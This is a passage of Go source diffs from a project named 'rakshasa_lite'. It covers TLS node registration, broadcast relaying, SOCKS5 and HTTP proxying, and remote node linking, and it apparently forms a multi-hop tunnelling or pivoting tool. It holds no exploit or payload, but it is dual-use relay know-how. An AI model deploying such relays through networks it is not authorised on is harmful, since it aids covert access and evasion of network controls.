conn.Close("密码校验不通过")
return
}
}
data := []byte{5, 1, 0, 1}
if u, err := url.ParseRequestURI(addr[:i]); err == nil {
data[3] = 3
data = append(data, byte(len(u.Scheme)))
data = append(data, u.Scheme...)
p, _ := strconv.Atoi(u.Opaque)
port := []byte{byte(p >> 8), byte(p)}
data = append(data, port...)
} else if tcp4, err := net.ResolveTCPAddr("tcp4", addr[:i]); err == nil {
data[3] = 1
data = append(data, tcp4.IP.String()...)
port := []byte{byte(tcp4.Port), byte(tcp4.Port >> 8)}
data = append(data, port...)
} else if tcp6, err := net.ResolveTCPAddr("tcp6", addr[:i]); err == nil {
data[3] = 4
data = append(data, tcp6.IP.String()...)
port := []byte{byte(tcp6.Port), byte(tcp6.Port >> 8)}
data = append(data, port...)
}
netconn.Write(data)
n, _ = netconn.Read(result[:])
if n >= 2 && string(result[:2]) == string([]byte{5, 0}) {
writeResult(true)
if conn.close == 0 {
conn.conn = netconn
go conn.handTcpReceive()
}
} else {
writeResult(false)
conn.Close("socks5连接失败")
}
default:
writeResult(false)
conn.Close("不支持的代理协议")
}
}
} else {
writeResult(false)
conn.Close("无法获取代理地址")
}
}
func (conn *serverConnect) doHandleUdp() {
for b := range conn.write {
if b == nil {
conn.write = closeChan
return
}
conn.conn.Write(b.Bytes())
b.Reset()
bufPool.Put(b)
}
}
var broadcastMap sync.Map //广播帧防止重复处理
func (c *Conn) handlerNodeRead() {
var err error
defer func() {
c.nodeConn.Close()
c.Close("read错误" + err.Error())
}()
lengbuf := make([]byte, 2)
for {
_, err = io.ReadFull(c.nodeConn, lengbuf)
if err != nil {
if strings.Contains(err.Error(), "i/o timeout") {
continue
}
return
}
buf := make([]byte, int(lengbuf[0])+int(lengbuf[1])<<8)
_, err = io.ReadFull(c.nodeConn, buf)
b := aes.AesCtrDecrypt(buf)
msg := common.UnmarshalMsg(b)
if msg.To == common.NoneUUID.String() && c.node == nil {
c.inChan <- func() {
newNode := &node{
conn: c,
}
newNode.do(msg)
}
} else if msg.To == currentNode.uuid {
func() {
l := clientLock.RLock()
v, ok := nodeMap[msg.From]
l.RUnlock()
if ok && v.port != 0 {
c.inChan <- func() {
v.do(msg)
}
} else {
l := clientLock.Lock()
v, ok := nodeMap[msg.From]
if !ok {
newNode := &node{
uuid: msg.From,
conn: c,
waitMsg: []*common.Msg{msg},
}
result := make(chan interface{}, 1)
id := newNode.storeQuery(result)
nodeMap[msg.From] = newNode
l.Unlock()
newNode.Write(common.CMD_GET_CURRENT_NODE, id, []byte{1}) //获取丢失节点的信息
go func() {
defer newNode.deleteQuery(id)
select {
case res := <-result:
if res == nil {
for _, m := range newNode.waitMsg {
c.inChan <- func() {
newNode.do(m)
}
}
}
case <-time.After(common.CMD_TIMEOUT):
newNode.Delete("超时")
}
}()
} else {
if msg.CmdOpteion == common.CMD_GET_CURRENT_NODE_RESULT {
var res chan interface{}
if _v, ok := v.loadQuery(msg.CmdId); !ok {
return
} else {
res = _v
}
var nmsg nodeInfo
err = json.Unmarshal(msg.CmdData, &nmsg)
if err != nil {
res <- err
return
}
v.hostName = cert.RSADecrypterStr(nmsg.HostName)
v.uuid = cert.RSADecrypterStr(nmsg.UUID)
if v.port, err = strconv.Atoi(cert.RSADecrypterStr(nmsg.Port)); err != nil {
v.port = -1
}
v.mainIp = cert.RSADecrypterStr(nmsg.MainIp)
v.goos = cert.RSADecrypterStr(nmsg.Goos)
res <- nil
} else {
v.waitMsg = append(v.waitMsg, msg)
}
l.Unlock()
}
}
}()
} else {
key := msg.From + "_" + strconv.Itoa(int(msg.MsgId))
msg.Ttl++
if _, ok := broadcastMap.LoadOrStore(key, struct{}{}); !ok {
if msg.From != currentNode.uuid && msg.To == common.BroadcastUUID.String() && msg.Ttl < 250 { //广播
go allNodesDo(func(_n *node) (bool, error) {
if _n.uuid != currentNode.uuid {
_n.WriteMsg(msg)
}
return true, nil
})
newNode := &node{
conn: c,
}
c.inChan <- func() {
newNode.do(msg)
}
} else {
c.WriteToUUID(msg)
}
time.AfterFunc(time.Hour, func() {
broadcastMap.Delete(key)
})
}
}
}
}
func (c *Conn) handle() {
c.OutChan = make(chan []byte, 64)
c.inChan = make(chan func())
c.close = make(chan string, 999)
go func() {
for {
select {
case f := <-c.inChan:
f()
//c.do(b)
case b := <-c.OutChan:
if c.closeTag == 0 {
c.tlsWrite(b)
//var err error
for i := 0; i < len(c.OutChan); i++ {
c.tlsWrite(<-c.OutChan)
}
}
case <-c.close:
c.OutChan = upNodeWrite
if c.node != nil && c.node.nextPingTime > time.Now().Unix()+5 {
c.node.ping(0)
c.node.nextPingTime = time.Now().Unix() + 5
}
func() { //返回false则退出handle
connMap.Delete(c.remoteAddr)
l := clientLock.Lock()
defer func() {
l.Unlock()
}()
if atomic.CompareAndSwapInt32(&c.closeTag, 0, 1) {
if c.nodeConn != nil {
c.nodeConn.Close()
}
if c.node != nil {
//移除上游连接
for i := len(upLevelNode) - 1; i >= 0; i-- {
n := upLevelNode[i]
if n.uuid == c.node.uuid {
upLevelNode = append(upLevelNode[:i], upLevelNode[i+1:]...)
}
}
}
}
return
}()
return
}
}
}()
}
func (c *Conn) reg() error {
var err error
reg := &common.RegMsg{
UUID: currentNode.uuid,
MainIp: cert.RSAEncrypterStr(currentNode.mainIp),
Port: cert.RSAEncrypterStr(strconv.Itoa(currentNode.port)),
Goos: cert.RSAEncrypterStr(currentNode.goos),
Hostname: cert.RSAEncrypterStr(currentNode.hostName),
}
regb, _ := json.Marshal(reg)
msg := common.Msg{
From: currentNode.uuid,
To: common.NoneUUID.String(),
CmdOpteion: common.CMD_REG,
CmdData: regb,
}
if err = c.tlsWrite(msg.Marshal()); err != nil {
return err
}
go c.handlerNodeRead()
return nil
}
func (c *Conn) WriteToUUID(msg *common.Msg) {
l := clientLock.RLock()
defer l.RUnlock()
if n, ok := nodeMap[msg.To]; ok {
n.WriteMsg(msg)
}
}
func (c *Conn) Write(b []byte) {
c.OutChan <- b
}
func (c *Conn) tlsWrite(b []byte) error {
c.nodeConn.SetWriteDeadline(time.Now().Add(common.WRITE_DEADLINE))
_, err := c.nodeConn.Write(b)
if err != nil {
c.Close("Write " + err.Error())
upNodeWrite <- b
}
return err
}
+507
View File
@@ -0,0 +1,507 @@
package server
import (
"bytes"
"cert"
"encoding/binary"
"fmt"
"log"
"math/rand"
"net"
"net/url"
"rakshasa_lite/common"
"rakshasa_lite/httppool"
"strings"
"sync"
"sync/atomic"
"time"
)
type httpProxyClient struct {
windowsSize int64
isclose int32
conn net.Conn
udpconn net.Conn
remote int32
server *node
id uint32
wait chan int
close string
udpMap sync.Map
listenId uint32
localAddr string
isConnect bool
method string
cfg *common.Addr
pool *httppool.HttpPool
remoteAddr string
remotePort string
randkey []byte
}
func (s *httpProxyClient) Write(b []byte) {
switch b[0] {
case common.CMD_CONNECT_BYIDADDR_RESULT:
if string(s.randkey) != string(b[1:9]) {
return
}
switch common.NetWork(b[9]) {
case common.RAW_TCP:
if b[10] != 1 {
go func() { s.Close("") }()
} else if s.method == "CONNECT" {
s.conn.Write([]byte("HTTP/1.0 200 Connection established\r\n\r\n"))
}
case common.RAW_TCP_WITH_PROXY:
if b[10] != 1 {
//重新拉取一个池
s.connect()
} else if s.method == "CONNECT" {
s.conn.Write([]byte("HTTP/1.0 200 Connection established\r\n\r\n"))
}
default:
log.Println("httpProxyClient 未处理")
}
case common.CMD_CONN_MSG:
s.conn.Write(b[1:])
s.Addwindow(int64(-len(b[1:])))
default:
log.Println("未处理")
}
}
func (s *httpProxyClient) Close(msg string) {
if atomic.CompareAndSwapInt32(&s.isclose, 0, 1) {
<-s.wait
s.wait <- common.CONN_STATUS_CLOSE
s.server.connMap.Delete(s.id)
if msg == "" {
msg = "未知关闭"
}
s.close = msg
if msg == remoteClose {
s.remote = CONN_REMOTE_CLOSE
} else if s.remote == CONN_REMOTE_OPEN {
s.remote = CONN_REMOTE_CLOSE
s.Remoteclose()
}
s.conn.Close()
if s.udpconn != nil {
s.udpconn.Close()
}
s.udpMap.Range(func(k, _ interface{}) bool {
s.udpMap.Delete(k)
return true
})
}
}
func (s *httpProxyClient) Addwindow(window int64) {
windows_size := atomic.AddInt64(&s.windowsSize, window)
windows_update_size := int64(common.INIT_WINDOWS_SIZE)
if windows_size < windows_update_size/2 { //扩大窗口
if size := windows_update_size - s.windowsSize; size > 0 {
atomic.AddInt64(&s.windowsSize, size)
go func() {
buf := make([]byte, 8)
buf[0] = byte(size & 255)
buf[1] = byte(size >> 8 & 255)
buf[2] = byte(size >> 16 & 255)
buf[3] = byte(size >> 24 & 255)
buf[4] = byte(size >> 32 & 255)
buf[5] = byte(size >> 40 & 255)
buf[6] = byte(size >> 48 & 255)
buf[7] = byte(size >> 56 & 255)
s.server.Write(common.CMD_WINDOWS_UPDATE, s.id, buf)
}()
}
}
}
func StartHttpProxy(cfg *common.Addr, dst []string, poolfile string) error {
var pool *httppool.HttpPool
var err error
if poolfile != "" {
pool, err = httppool.HttpPoolInit(poolfile)
if err != nil {
return err
}
}
var target *node
if len(dst) == 0 {
target = currentNode
} else {
target, err = GetNodeFromAddrs(dst)
if err != nil {
return err
}
}
l := &clientListen{
server: target,
localAddr: cfg.Addr(),
id: common.GetID(),
typ: "http",
randkey: make([]byte, 8),
}
binary.LittleEndian.PutUint64(l.randkey, uint64(rand.NewSource(time.Now().UnixNano()).Int63()))
l.listen, err = StartHttpProxyWithServer(cfg, target, l.id, pool)
if err != nil {
return err
}
currentNode.listenMap.Store(l.id, l)
return nil
}
func StartHttpProxyWithServer(cfg *common.Addr, n *node, id uint32, pool *httppool.HttpPool) (net.Listener, error) {
l, err := net.Listen("tcp", cfg.Addr())
if err != nil {
return nil, err
}
randkey := make([]byte, 8)
binary.LittleEndian.PutUint64(randkey, uint64(rand.NewSource(time.Now().UnixNano()).Int63()))
fmt.Println("httpproxy start ", cfg.Addr())
go func() {
for {
conn, err := l.Accept()
if err != nil {
if err.(*net.OpError).Err == net.ErrClosed {
return
}
continue
}
s := &httpProxyClient{
cfg: cfg,
conn: conn,
server: n,
listenId: id,
pool: pool,
randkey: randkey,
}
go handleHttpProxyLocal(s)
}
}()
return l, nil
}
func (s *httpProxyClient) OnOpened() (close bool) {
s.wait = make(chan int, 1)
s.remote = CONN_REMOTE_OPEN
s.windowsSize = 0
s.wait <- common.CONN_STATUS_OK
return
}
// 监听本地服务
func handleHttpProxyLocal(s *httpProxyClient) {
defer func() {
if err := recover(); err != nil {
}
}()
b := make([]byte, common.MAX_PLAINTEXT-8)
if s.OnOpened() {
s.Close("无法获得服务器连接")
}
var data []byte
var req = &http1request{}
for {
n, err := s.conn.Read(b)
if err != nil {
s.Close(err.Error())
return
}
data = append(data, b[:n]...)
//尝试读取一个http消息
l, _, err := parsereq(req, data)
if err != nil {
return
} else if l == 0 {
continue
}
//判断用户名密码
if s.cfg.GetHttpAuthorizationHeader() != "" {
var authorize bool
for _, herder := range req.header {
if herder == s.cfg.GetHttpAuthorizationHeader() {
authorize = true
break
}
}
if !authorize {
s.conn.Write([]byte("HTTP/1.0 407 Proxy Authentication Required\r\nProxy-Authenticate: Basic realm=\"Access to internal site\"\r\nContent-Length: 0\r\n\r\n"))
continue
}
}
data = data[l:]
switch req.method {
case "GET":
if u, err := url.Parse(req.uri); err == nil {
if i := strings.IndexByte(u.Host, ':'); i > -1 {
s.remoteAddr = u.Host[:i]
s.remotePort = u.Host[i+1:]
} else {
s.remoteAddr = u.Host
s.remotePort = "80"
}
s.connect()
buf := bufPool.Get().(*bytes.Buffer)
buf.Reset()
buf.WriteString("GET ")
buf.WriteString(req.uri)
buf.WriteString(" HTTP/1.1\r\n")
for _, header := range req.header {
buf.WriteString(header)
buf.WriteString("\r\n")
}
buf.WriteString("\r\n")
s.write2connect(buf.Bytes())
buf.Reset()
bufPool.Put(buf)
} else {
return
}
case "CONNECT":
s.method = "CONNECT"
if i := strings.IndexByte(req.uri, ':'); i > -1 {
s.remoteAddr = req.uri[:i]
s.remotePort = req.uri[i+1:]
s.connect()
} else {
return
}
for {
n, err = s.conn.Read(b)
if err != nil {
s.Close(err.Error())
return
}
s.write2connect(b[:n])
}
default:
}
}
}
func (s *httpProxyClient) write2connect(data []byte) {
var new_size int64
if new_size = int64(common.INIT_WINDOWS_SIZE) - s.windowsSize; new_size > 0 { //扩大窗口
atomic.AddInt64(&s.windowsSize, new_size)
} else {
new_size = 0
}
outdata := make([]byte, 8)
outdata[0] = byte(new_size)
outdata[1] = byte(new_size >> 8)
outdata[2] = byte(new_size >> 16)
outdata[3] = byte(new_size >> 24)
outdata[4] = byte(new_size >> 32)
outdata[5] = byte(new_size >> 40)
outdata[6] = byte(new_size >> 48)
outdata[7] = byte(new_size >> 56)
s.server.Write(common.CMD_CONN_MSG, s.id, append(outdata, data...))
}
func (s *httpProxyClient) connect() {
if !s.isConnect {
buf := make([]byte, 2+len(s.remoteAddr)+len(s.remotePort))
s.id = s.server.storeConn(s)
buf[0] = byte(common.RAW_TCP)
copy(buf[1:], s.remoteAddr)
buf[1+len(s.remoteAddr)] = ':'
copy(buf[2+len(s.remoteAddr):], s.remotePort)
//添加代理信息
if s.pool != nil {
proxy := s.pool.Next()
buf[0] = byte(common.RAW_TCP_WITH_PROXY)
buf = append(buf, []byte(" "+proxy.String())...)
}
s.server.Write(common.CMD_CONNECT_BYIDADDR, s.id, cert.RSAEncrypterByPrivByte(append(s.randkey, buf...)))
if value, ok := s.server.listenMap.Load(s.listenId); ok {
switch v := value.(type) {
case *serverListen:
v.connMap.Store(s.id, s)
case *clientListen:
v.connMap.Store(s.id, s)
}
}
s.isConnect = true
}
}
func (s *httpProxyClient) Remoteclose() {
s.close = "本地要求远程关闭"
buf := make([]byte, 4)
buf[0] = byte(s.id)
buf[1] = byte(s.id >> 8)
buf[2] = byte(s.id >> 16)
buf[3] = byte(s.id >> 24)
s.server.Write(common.CMD_DELETE_LISTENCONN_BYID, s.listenId, append(s.randkey, buf...))
}
func init() {
}
type kv struct { //kv键值对
key string
value string
}
type http1request struct {
Status string
//解析相关
Proto, method string
path, query, uri string
keep_alive bool
header []string //记录整行
body []byte
//rawdata []byte
//输出buffer相关
//data io.ReadCloser //消息主体
//dataSize int //dataSize大于-1就输出,所以要放到最后赋值
//out *tls.MsgBuffer //输出消息用buffer,包含header等信息
//out1 *tls.MsgBuffer
//流水线控制
//next *http1request
//num int32
//alreadyOutHreader bool
}
func (req *http1request) addheader(line string, j int) {
if line[:j] == "Proxy-Connection" {
req.header = append(req.header, "Connection: "+line[j+2:])
req.keep_alive = line[j+2:] == "line[j+2:]"
} else {
req.header = append(req.header, line)
}
}
func parsereq(req *http1request, data []byte) (clen int, resdata []byte, err error) {
l := len(data)
defer func() {
if e := recover(); e != nil {
}
}()
// method, path, proto line
req.Proto = ""
var s = 0
var line string
var firstLine = true
req.body = req.body[:0]
req.header = req.header[:0]
for i, j := 0, 0; j < l; j += i + 2 {
i = bytes.IndexByte(data[j:], 13)
if i == -1 {
break //跳出循环,判断是否包体过大
}
line = string(data[j : j+i])
if i > 0 {
if firstLine {
var q = -1
i := strings.IndexByte(line, 32)
if i > -1 {
req.method = line[:i]
line = line[i+1:]
for i, v := range line {
if v == 63 && q == -1 {
q = i
} else if v == 32 {
if q != -1 {
req.path = line[s:q]
req.query = line[q+1 : i]
} else {
req.path = line[s:i]
}
req.uri = line[s:i]
i++
req.Proto = line[i:]
//判断http返回
if req.method == "HTTP/1.1" || req.method == "HTTP/1.0" {
/*code, err := strconv.Atoi(req.path)
if err == nil {
//req.Code = code
//req.CodeMsg = req.Proto
}*/
req.Status = line
req.Proto = req.method
req.method = ""
req.path = ""
}
break
}
}
}
switch req.Proto {
case "HTTP/1.0":
req.keep_alive = false
case "HTTP/1.1":
req.keep_alive = true
default:
return 0, nil, fmt.Errorf("malformed http1request")
}
firstLine = false
} else {
k := strings.IndexByte(line, 58)
if k > -1 && k < len(line) {
req.addheader(line, k)
}
}
} else {
j += i + 2
if l-j < clen {
return 0, nil, nil
}
req.body = append(req.body, data[j:j+clen]...)
//req.body = append(req.body, data[s:s+clen]...)
//req.rawdata = append(req.rawdata, data[:j+clen]...)
return j + clen, req.body, nil
}
}
return 0, nil, nil
}
+38
View File
@@ -0,0 +1,38 @@
package server
//封装一下易于调试的lock
import (
"sync"
)
type lock struct {
l sync.RWMutex
}
type unlock struct {
key string
l *sync.RWMutex
}
func (l *lock) Lock(old ...*unlock) *unlock {
u := &unlock{l: &l.l}
if len(old) == 1 {
u = old[0]
}
l.l.Lock()
return u
}
func (l *lock) RLock(old ...*unlock) *unlock {
u := &unlock{l: &l.l}
if len(old) == 1 {
u = old[0]
}
l.l.RLock()
return u
}
func (l *unlock) Unlock() {
l.l.Unlock()
}
func (l *unlock) RUnlock() {
l.l.RUnlock()
}
+1480
View File
@@ -0,0 +1,1480 @@
package server
import (
"bytes"
"cert"
"crypto/tls"
"encoding/json"
"errors"
"fmt"
"io"
"io/ioutil"
"math/rand"
"net"
"os"
"rakshasa_lite/common"
"runtime"
"strconv"
"strings"
"sync"
"sync/atomic"
"time"
"unsafe"
uuid2 "github.com/google/uuid"
)
var (
currentNode = &node{uuid: uuid2.New().String()}
clientLock = &lock{}
nodeMap = make(map[string]*node)
upLevelNode []*node //上游节点
upNodeWrite = make(chan []byte, 999)
extNodeIp []string
connMap sync.Map
)
func InitCurrentNode() {
s := unsafe.Sizeof(uintptr(1))
bit := " x32"
if s == 8 {
bit = " x64"
}
rand.Seed(time.Now().Unix())
currentNode.hostName, _ = os.Hostname()
if ip, _ := common.ExternalIP(); ip != nil {
currentNode.addr = ip.String()
}
currentNode.goos = runtime.GOOS + bit
currentNode.mirrorNode = &node{
id: currentNode.id,
uuid: currentNode.uuid,
hostName: currentNode.hostName,
goos: currentNode.goos,
addr: currentNode.addr,
}
currentNode.mirrorNode.mirrorNode = currentNode
nodeMap[currentNode.uuid] = currentNode
//fmt.Println("当前节点UUID", currentNode.uuid)
go func() {
for b := range upNodeWrite {
for {
ok := func() bool {
l := clientLock.Lock()
defer l.Unlock()
if len(upLevelNode) == 0 {
return false
}
upLevelNode[0].conn.tlsWrite(b)
return true
}()
if ok {
break
}
time.Sleep(time.Second)
}
}
}()
nodeTickPing()
time.AfterFunc(time.Second*10, checkUpLevelNode)
}
func checkUpLevelNode() {
if len(currentConfig.DstNode) > 0 && len(upLevelNode) == 0 {
//尝试重新连接节点
for _, addr := range currentConfig.DstNode {
connectNew(addr)
}
if len(upLevelNode) == 0 {
//尝试连接其他节点
if !currentConfig.Limit {
for _, addr := range extNodeIp {
connectNew(addr)
if len(upLevelNode) > 0 {
return
}
}
func() {
l := clientLock.RLock()
defer l.RUnlock()
for _, n := range nodeMap {
if n.uuid != currentNode.uuid {
func() {
l.RUnlock()
defer clientLock.RLock(l)
if len(n.mainIp) == 0 {
connectNew(fmt.Sprintf("%s:%d", n.addr, n.port))
}
}()
if len(upLevelNode) > 0 {
return
}
}
}
}()
}
}
}
time.AfterFunc(time.Second*5, checkUpLevelNode)
}
func nodeTickPing() {
l := clientLock.RLock()
defer l.RUnlock()
now := time.Now().Unix()
for _, n := range nodeMap {
if n.uuid != currentNode.uuid {
if n.mainIp != "" {
addr1 := fmt.Sprintf("%s:%d", n.mainIp, n.port)
find := false
for _, addr2 := range extNodeIp {
if addr1 == addr2 {
find = true
break
}
}
if !find {
extNodeIp = append(extNodeIp, addr1)
}
}
if n.nextPingTime == 0 {
go n.ping(0)
n.nextPingTime = now + 10 + rand.Int63n(10)
} else if n.nextPingTime < now {
go n.ping(0)
n.nextPingTime = now + 30 + rand.Int63n(30)
}
}
}
time.AfterFunc(time.Second*1, nodeTickPing)
}
// 节点
type node struct {
id int
uuid string
hostName string
goos string
addr string
connMap sync.Map
udpConnMap sync.Map
listenMap sync.Map //client端会存入clientListen,server存入serverListen
shellMap sync.Map
queryMap sync.Map
conn *Conn
pingTime, pongTime int64
mainIp string
port int
listen net.Listener
nextPingTime int64
waitMsg []*common.Msg //需要等待处理的消息
mirrorNode *node //currentNode会生成一个互为mirror的node,以实现client-server功能,比如httpProxy在单节点启动
isClose int32
reConnectAddrs []string //重连节点需要的信息
}
type nodeInfo struct {
UUID string
HostName string
MainIp string
Port string
Goos string
}
func connectNew(addr string) (n *node, e error) {
//先从已连接查找
for _, node := range nodeMap {
if fmt.Sprintf("%s:%d", node.mainIp, node.port) == addr {
return node, nil
} else if fmt.Sprintf("%s:%d", node.addr, node.port) == addr {
return node, nil
} else if node.uuid == addr {
return node, nil
}
}
config := cert.Tlsconfig.Clone()
interfaces, err := net.Interfaces()
if err != nil {
return nil, fmt.Errorf("无法获得网卡信息%v", err)
}
var connChan = make(chan *tls.Conn, 1)
raddr, err := net.ResolveTCPAddr("tcp", addr)
if err != nil {
return nil, err
}
for _, i := range interfaces {
addrs, e := i.Addrs()
if e == nil {
for _, localAddr := range addrs {
go func(localAddr net.Addr) {
localstr := localAddr.String()
localstr = localstr[:strings.LastIndex(localstr, "/")] + ":0"
laddr, _ := net.ResolveTCPAddr("tcp", localstr)
if laddr!=nil{
if netconn, e := net.DialTCP("tcp", laddr, raddr); e == nil {
conn := tls.Client(netconn, config)
select {
case connChan <- conn:
default:
}
}
}
}(localAddr)
}
}
}
var conn *tls.Conn
select {
case c := <-connChan:
conn = c
case <-time.After(common.CMD_TIMEOUT):
return nil, fmt.Errorf("无法连接%s", addr)
}
c := &Conn{nodeConn: conn, isClient: true, nodeaddr: addr, remoteAddr: conn.LocalAddr().String()}
connMap.Store(c.remoteAddr, conn)
c.regResult = make(chan error, 1)
c.regResultNode = make(chan *node, 1)
c.handle()
c.reg()
defer func() {
if c.node != nil {
l := clientLock.Lock()
find := false
for _, n := range upLevelNode {
if n.uuid == c.node.uuid {
find = true
}
}
if !find {
upLevelNode = append(upLevelNode, c.node)
}
l.Unlock()
}
}()
select {
case err = <-c.regResult:
return nil, err
case n = <-c.regResultNode:
//连接成功
n.reConnectAddrs = []string{addr}
return n, err
case <-time.After(time.Second * 10):
return nil, errors.New("time out")
}
}
func (n *node) Write(option uint8, id uint32, b []byte) {
msg := common.Msg{
From: currentNode.uuid,
To: n.uuid,
CmdOpteion: option,
CmdId: id,
CmdData: b,
}
if n.uuid == currentNode.uuid {
n.mirrorNode.do(&msg)
} else {
b := msg.Marshal()
if n.conn != nil {
n.conn.OutChan <- b
} else {
upNodeWrite <- msg.Marshal()
}
}
}
func (n *node) WriteMsg(msg *common.Msg) {
if n.conn != nil {
n.conn.OutChan <- msg.Marshal()
} else {
upNodeWrite <- msg.Marshal()
}
}
func (n *node) do(msg *common.Msg) {
var err error
//fmt.Println(common.CmdToName[msg.CmdOpteion])
switch msg.CmdOpteion {
case common.CMD_CONNECT_BYIDADDR:
msg.CmdData = cert.RSADecrypterByPubByte(msg.CmdData)
if len(msg.CmdData) < 9 {
return
}
conn := &serverConnect{}
conn.node = n
conn.id = msg.CmdId
conn.write = make(chan *bytes.Buffer, 64)
conn.close = 0
conn.windowsSize = 0
conn.wait = make(chan int)
n.connMap.Store(conn.id, conn)
conn.randkey = make([]byte, 8)
copy(conn.randkey, msg.CmdData)
addr := string(msg.CmdData[9:])
switch common.NetWork(msg.CmdData[8]) {
case common.SOCKS5_CMD_CONNECT:
conn.address = addr
go conn.doConnectTcp(common.SOCKS5_CMD_CONNECT, addr)
case common.SOCKS5_CMD_UDP:
go conn.doHandleUdp()
case common.RAW_TCP:
go conn.doConnectTcp(common.RAW_TCP, addr)
case common.RAW_TCP_WITH_PROXY:
go conn.doConnectTcpWithHttpProxy(common.RAW_TCP_WITH_PROXY, addr)
case common.SOCKS5_CMD_BIND:
_l, err := net.Listen("tcp", addr)
if err != nil {
data := append(conn.randkey, 0)
data = append(data, err.Error()...)
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, data)
return
}
l := &serverListen{listen: _l, node: n, isSocks5: true, id: common.GetID(), replayid: msg.CmdId, randkey: conn.randkey}
n.connMap.Delete(conn.id)
l.socks5Replay = make([]byte, len(msg.CmdData[8:]))
copy(l.socks5Replay, msg.CmdData[8:])
n.Write(common.CMD_CONNECT_BYIDADDR_RESULT, l.replayid, append(l.randkey, l.socks5Replay...))
n.listenMap.Store(l.id, l)
go l.Lisen()
}
case common.CMD_CONNECT_BYIDADDR_RESULT:
if v, ok := n.connMap.Load(msg.CmdId); ok {
if conn, ok := v.(common.Conn); ok {
conn.Write(append([]byte{common.CMD_CONNECT_BYIDADDR_RESULT}, msg.CmdData...))
}
}
case common.CMD_CONN_MSG:
v, ok1 := n.connMap.Load(msg.CmdId)
conn, ok2 := v.(common.Conn)
if !ok1 || !ok2 {
n.Write(common.CMD_DELETE_CONNID, msg.CmdId, nil)
return
}
conn.Write(append([]byte{common.CMD_CONN_MSG}, msg.CmdData...))
case common.CMD_DELETE_CONNID:
v, ok := n.connMap.Load(msg.CmdId)
if ok {
if conn, ok2 := v.(common.Conn); ok2 {
conn.Close("对方节点要求关闭")
} else {
n.connMap.Delete(msg.CmdId)
}
}
case common.CMD_WINDOWS_UPDATE:
v, ok := n.connMap.Load(msg.CmdId)
if ok {
conn := v.(*serverConnect)
windows_update_size := int64(msg.CmdData[0]) | int64(msg.CmdData[1])<<8 | int64(msg.CmdData[2])<<16 | int64(msg.CmdData[3])<<24 | int64(msg.CmdData[4])<<32 | int64(msg.CmdData[5])<<40 | int64(msg.CmdData[6])<<48 | int64(msg.CmdData[7])<<56
if windows_update_size > 0 {
old := atomic.AddInt64(&conn.windowsSize, windows_update_size) - windows_update_size
if old < 0 {
go func() {
select {
case conn.wait <- common.CONN_STATUS_OK:
case <-time.After(time.Second):
}
}()
}
}
} else {
n.Write(common.CMD_DELETE_CONNID, msg.CmdId, nil)
}
case common.CMD_REG:
func() {
l := clientLock.Lock()
defer l.Unlock()
var regmsg common.RegMsg
err = json.Unmarshal(msg.CmdData, &regmsg)
if err != nil {
regmsg.Err = err.Error()
b, _ := json.Marshal(regmsg)
n.Write(common.CMD_REG_RESULT, 0, b)
return
}
uuid := regmsg.UUID
if uuid == currentNode.uuid {
regmsg.Err = "不能连接自己"
b, _ := json.Marshal(regmsg)
n.Write(common.CMD_REG_RESULT, 0, b)
return
}
n.hostName = cert.RSADecrypterStr(regmsg.Hostname)
n.mainIp = cert.RSADecrypterStr(regmsg.MainIp)
if n.port, err = strconv.Atoi(cert.RSADecrypterStr(regmsg.Port)); err != nil {
n.port = -1
}
n.goos = cert.RSADecrypterStr(regmsg.Goos)
n.addr = n.conn.nodeConn.RemoteAddr().String()
if i := strings.Index(n.addr, ":"); i > -1 {
n.addr = n.addr[:i]
}
resultMsg := regmsg
resultMsg.UUID = currentNode.uuid
resultMsg.Hostname = cert.RSAEncrypterStr(currentNode.hostName)
resultMsg.MainIp = cert.RSAEncrypterStr(currentNode.mainIp)
resultMsg.Port = cert.RSAEncrypterStr(strconv.Itoa(currentNode.port))
resultMsg.Goos = cert.RSAEncrypterStr(currentNode.goos)
b, _ := json.Marshal(resultMsg)
//返回成功结果
n.Write(common.CMD_REG_RESULT, 0, b)
//储存节点
n.uuid = uuid
if v, ok := nodeMap[uuid]; !ok || v.conn.closeTag > 0 {
n.conn.node = n
nodeMap[regmsg.UUID] = n
}
currentNode.broadcastNode()
//把本机所有节点同步到注册机器
go n.writeGetNodeResult(msg.CmdId)
}()
case common.CMD_REG_RESULT:
var regmsg common.RegMsg
err = json.Unmarshal(msg.CmdData, &regmsg)
if err != nil {
select {
case n.conn.regResult <- err:
default:
}
return
}
if regmsg.Err != "" {
select {
case n.conn.regResult <- errors.New(regmsg.Err):
default:
}
return
}
//fmt.Printf("connect to %s(%s) success\n", regmsg.UUID, regmsg.RegAddr)
l := clientLock.Lock()
n.uuid = regmsg.UUID
n.hostName = cert.RSADecrypterStr(regmsg.Hostname)
n.goos = cert.RSADecrypterStr(regmsg.Goos)
n.addr = n.conn.nodeConn.RemoteAddr().String()
if i := strings.Index(n.addr, ":"); i > -1 {
n.addr = n.addr[:i]
}
workconn := n.conn
n.mainIp = cert.RSADecrypterStr(regmsg.MainIp)
if n.port, err = strconv.Atoi(cert.RSADecrypterStr(regmsg.Port)); err != nil {
n.port = -1
}
if v, ok := nodeMap[regmsg.UUID]; ok {
if v.conn.node != nil && v.conn.node.uuid == regmsg.UUID && v.conn.closeTag == 0 {
n.uuid = "" //清空uuid避免正常的node被删
n.conn.Close("重复注册") //当前的连接关掉
n.conn = v.conn
v.mainIp = cert.RSADecrypterStr(regmsg.MainIp)
if v.port, err = strconv.Atoi(cert.RSADecrypterStr(regmsg.Port)); err != nil {
v.port = -1
}
n = v
} else {
n.conn.node = n
}
} else {
n.conn.node = n
}
nodeMap[n.uuid] = n
l.Unlock()
select {
case workconn.regResultNode <- n:
default:
}
//交换节点
n.writeGetNodeResult(msg.CmdId)
case common.CMD_REMOTE_REG:
var regmsg common.RegMsg
err = json.Unmarshal(msg.CmdData, &regmsg)
if currentConfig.Limit {
regmsg.Err = "node is in limit mode"
b, _ := json.Marshal(regmsg)
n.Write(common.CMD_REMOTE_REG_RESULT, msg.CmdId, b)
return
}
if err == nil {
var newNode *node
newNode, err = connectNew(regmsg.RegAddr)
if err == nil {
regmsg.UUID = newNode.uuid
regmsg.Hostname = cert.RSADecrypterStr(newNode.hostName)
regmsg.ViaUUID = cert.RSADecrypterStr(currentNode.uuid)
regmsg.MainIp = cert.RSADecrypterStr(newNode.mainIp)
regmsg.Port = cert.RSADecrypterStr(strconv.Itoa(newNode.port))
regmsg.Goos = cert.RSADecrypterStr(newNode.goos)
b, _ := json.Marshal(regmsg)
n.Write(common.CMD_REMOTE_REG_RESULT, msg.CmdId, b)
}
}
if err != nil {
regmsg.Err = err.Error()
